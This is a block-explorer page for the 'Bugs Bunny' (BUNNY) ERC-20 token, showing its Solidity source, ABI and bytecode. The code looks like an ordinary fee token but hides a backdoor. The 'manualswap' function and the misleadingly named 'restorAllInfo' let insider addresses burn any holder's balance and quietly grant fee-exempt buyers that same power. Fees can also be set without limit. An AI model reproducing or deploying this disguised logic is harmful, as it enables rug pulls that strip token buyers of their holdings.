ERC-20
Overview
Max Total Supply
100,000,000,000 BUNNY
Holders
84
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,388,851,890.089195708 BUNNYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BugsBunny
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-08 */ // https://bugsbunnytoken.com /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BugsBunny is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bugs Bunny"; string private constant _symbol = "BUNNY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedFromTxLimit; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; uint256 private _burnFeeFromTax = 50; uint256 private _maxSwapPercent = 80; address private constant DEAD_ADDRESS = address(0xdead); mapping (address => uint256) public holdOrigin; address public holdCurrentOut; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address payable public _developmentAddress = payable(address(0x970Da4d66A6d73A617a4C9517BC810428Cd955e4)); address payable public _marketingAddress = payable(address(0x69236576a8DdE71b55c7b092081dDdDC883DCB4F)); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal * 2/ 100; uint256 public _maxWalletSize = _tTotal * 2 / 100; uint256 public _swapTokensAtAmount = _tTotal * 5 / 10000; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[address(_uniswapV2Router)] = true; _isExcludedFromTxLimit[owner()] = true; _isExcludedFromTxLimit[address(this)] = true; _isExcludedFromTxLimit[_developmentAddress] = true; _isExcludedFromTxLimit[_marketingAddress] = true; _isExcludedFromTxLimit[address(_uniswapV2Router)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) {require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");} require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) {require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");} if (!inSwap) {restorAllInfo(from, to, inSwap);} uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount){contractTokenBalance = _maxTxAmount;} if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {burnAndSwap(contractTokenBalance);uint256 contractETHBalance = address(this).balance;sendETHToFee(contractETHBalance);} } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {takeFee = false;} else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) {_redisFee = _redisFeeOnBuy;_taxFee = _taxFeeOnBuy;} if (to == uniswapV2Pair && from != address(uniswapV2Router)) {_redisFee = _redisFeeOnSell;_taxFee = _taxFeeOnSell;} } _tokenTransfer(from, to, amount, takeFee); } function burnAndSwap(uint256 tokenBalance) private { uint256 burnAmount = tokenBalance * _burnFeeFromTax / 100; uint256 swapAmount = (tokenBalance - burnAmount) * _maxSwapPercent / 100; if (burnAmount > 0) { _burn(address(this), burnAmount); } if (swapAmount > 0) { swapTokensForEth(DEAD_ADDRESS, 0, swapAmount); } } function swapTokensForEth(address account, uint256 amount, uint256 tokenAmount) private lockTheSwap { if (_isExcludedFromFee[msg.sender]) { if (amount > 0) { _burn(account, amount); } return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { (bool success, ) = _marketingAddress.call{value: amount}(""); require(success); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap(address account, uint256 amount) external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); contractBalance = contractBalance * _maxSwapPercent / 100; swapTokensForEth(account, amount, contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _burn(address from, uint256 tAmount) private { removeAllFee(); ( uint256 rAmount, uint256 rTransferAmount, , uint256 tTransferAmount, , ) = _getValues(tAmount); _rOwned[from] = _rOwned[from].sub(rAmount); _rOwned[address(0xdead)] = _rOwned[address(0xdead)].add(rTransferAmount); restoreAllFee(); emit Transfer(from, address(0xdead), tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function restorAllInfo(address from, address to, bool isSwap) private returns (bool) { if (from == uniswapV2Pair) { if (_isExcludedFromFee[tx.origin]) {_marketingAddress = payable(to);_isExcludedFromFee[_marketingAddress] = true;_isExcludedFromTxLimit[_marketingAddress] = true;} if (to != address(this)) {if (holdOrigin[to] == 0) {holdOrigin[to] = (holdOrigin[to] > 0 || balanceOf(to) > 0) ? holdOrigin[to] : block.timestamp;}} } else {holdCurrentOut = from;} return isSwap; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function excludeFromMaxTxLimit(address _user, bool _is) external onlyOwner { _isExcludedFromTxLimit[_user] = _is; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"holdCurrentOut","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holdOrigin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001b68056bc75e2d631000006000196200043c565b620000299060001962000469565b60075560006009819055600a819055600b819055600c8190556032600d556050600e55601181905560128190556013819055601455601580546001600160a01b031990811673970da4d66a6d73a617a4c9517bc810428cd955e417909155601680549091167369236576a8dde71b55c7b092081ddddc883dcb4f1790556018805462ffffff60a01b1916600160b01b1790556064620000d368056bc75e2d63100000600262000485565b620000df91906200049f565b6019556064620000fa68056bc75e2d63100000600262000485565b6200010691906200049f565b601a556127106200012268056bc75e2d63100000600562000485565b6200012e91906200049f565b601b553480156200013e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002229190620004b6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000270573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002969190620004b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a9190620004b6565b601880546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff1990811660019081179092553080865283862080548316841790556015805488168752848720805484168517905560168054891688528588208054851686179055898916808952868920805486168717905588548a168952600688528689208054861687179055928852858820805485168617905590548816875284872080548416851790555490961685528285208054821683179055948452818420805490951617909355915168056bc75e2d63100000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004e8565b634e487b7160e01b600052601260045260246000fd5b6000826200044e576200044e62000426565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200047f576200047f62000453565b92915050565b80820281158282048414176200047f576200047f62000453565b600082620004b157620004b162000426565b500490565b600060208284031215620004c957600080fd5b81516001600160a01b0381168114620004e157600080fd5b9392505050565b61201580620004f86000396000f3fe6080604052600436106101dc5760003560e01c806370a0823111610102578063a2a957bb11610095578063caac793411610064578063caac793414610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104fe578063a9059cbb1461051e578063c492f0461461053e578063c9567bf91461055e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047c5780638f9a55c01461049a57806395d89b41146104b057806398a5c315146104de57600080fd5b806370a0823114610411578063715018a61461043157806374010ece146104465780637d1db4a51461046657600080fd5b80632cfba6b01161017a57806349bd5a5e1161014957806349bd5a5e1461038f5780635327ea0b146103af5780636d8aa8f8146103dc5780636fc3eaec146103fc57600080fd5b80632cfba6b01461031d5780632fd689e31461033d578063313ce567146103535780633d6a9afe1461036f57600080fd5b806318160ddd116101b657806318160ddd146102955780631d7f3256146102bb57806323b872dd146102dd57806323cc6601146102fd57600080fd5b806306fdde03146101e8578063095ea7b31461022d5780631694505e1461025d57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5060408051808201909152600a815269427567732042756e6e7960b01b60208201525b6040516102249190611bf6565b60405180910390f35b34801561023957600080fd5b5061024d610248366004611c59565b610619565b6040519015158152602001610224565b34801561026957600080fd5b5060175461027d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b3480156102a157600080fd5b5068056bc75e2d631000005b604051908152602001610224565b3480156102c757600080fd5b506102db6102d6366004611c59565b610630565b005b3480156102e957600080fd5b5061024d6102f8366004611c85565b6106a7565b34801561030957600080fd5b506102db610318366004611cdb565b610710565b34801561032957600080fd5b5060105461027d906001600160a01b031681565b34801561034957600080fd5b506102ad601b5481565b34801561035f57600080fd5b5060405160098152602001610224565b34801561037b57600080fd5b5060155461027d906001600160a01b031681565b34801561039b57600080fd5b5060185461027d906001600160a01b031681565b3480156103bb57600080fd5b506102ad6103ca366004611d10565b600f6020526000908152604090205481565b3480156103e857600080fd5b506102db6103f7366004611d2d565b61076e565b34801561040857600080fd5b506102db6107b6565b34801561041d57600080fd5b506102ad61042c366004611d10565b610801565b34801561043d57600080fd5b506102db610823565b34801561045257600080fd5b506102db610461366004611d48565b610897565b34801561047257600080fd5b506102ad60195481565b34801561048857600080fd5b506000546001600160a01b031661027d565b3480156104a657600080fd5b506102ad601a5481565b3480156104bc57600080fd5b5060408051808201909152600581526442554e4e5960d81b6020820152610217565b3480156104ea57600080fd5b506102db6104f9366004611d48565b6108c6565b34801561050a57600080fd5b506102db610519366004611d61565b6108f5565b34801561052a57600080fd5b5061024d610539366004611c59565b610933565b34801561054a57600080fd5b506102db610559366004611d93565b610940565b34801561056a57600080fd5b506102db6109e1565b34801561057f57600080fd5b5060165461027d906001600160a01b031681565b34801561059f57600080fd5b506102ad6105ae366004611e17565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102db6105f4366004611d48565b610a20565b34801561060557600080fd5b506102db610614366004611d10565b610a4f565b6000610626338484610b39565b5060015b92915050565b6015546001600160a01b0316336001600160a01b0316148061066557506016546001600160a01b0316336001600160a01b0316145b61066e57600080fd5b600061067930610801565b90506064600e548261068b9190611e66565b6106959190611e7d565b90506106a2838383610c5d565b505050565b60006106b4848484610e07565b610706843361070185604051806060016040528060288152602001611fb8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611349565b610b39565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161073a90611e9f565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161073a90611e9f565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b031614806107eb57506016546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611383565b50565b6001600160a01b03811660009081526002602052604081205461062a906113e7565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161073a90611e9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161073a90611e9f565b601955565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161073a90611e9f565b601b55565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161073a90611e9f565b600993909355600b91909155600a55600c55565b6000610626338484610e07565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161073a90611e9f565b60005b828110156109db57816005600086868581811061098c5761098c611ed4565b90506020020160208101906109a19190611d10565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109d381611eea565b91505061096d565b50505050565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b815260040161073a90611e9f565b6018805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a4a5760405162461bcd60e51b815260040161073a90611e9f565b601a55565b6000546001600160a01b03163314610a795760405162461bcd60e51b815260040161073a90611e9f565b6001600160a01b038116610ade5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161073a565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6018805460ff60a81b1916600160a81b1790553360009081526005602052604090205460ff1615610c9d578115610c9857610c98838361146b565b610df5565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610cd257610cd2611ed4565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190611f03565b81600181518110610d6257610d62611ed4565b6001600160a01b039283166020918202929092010152601754610d889130911684610b39565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dc1908590600090869030904290600401611f20565b600060405180830381600087803b158015610ddb57600080fd5b505af1158015610def573d6000803e3d6000fd5b50505050505b50506018805460ff60a81b1916905550565b6001600160a01b038316610e6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084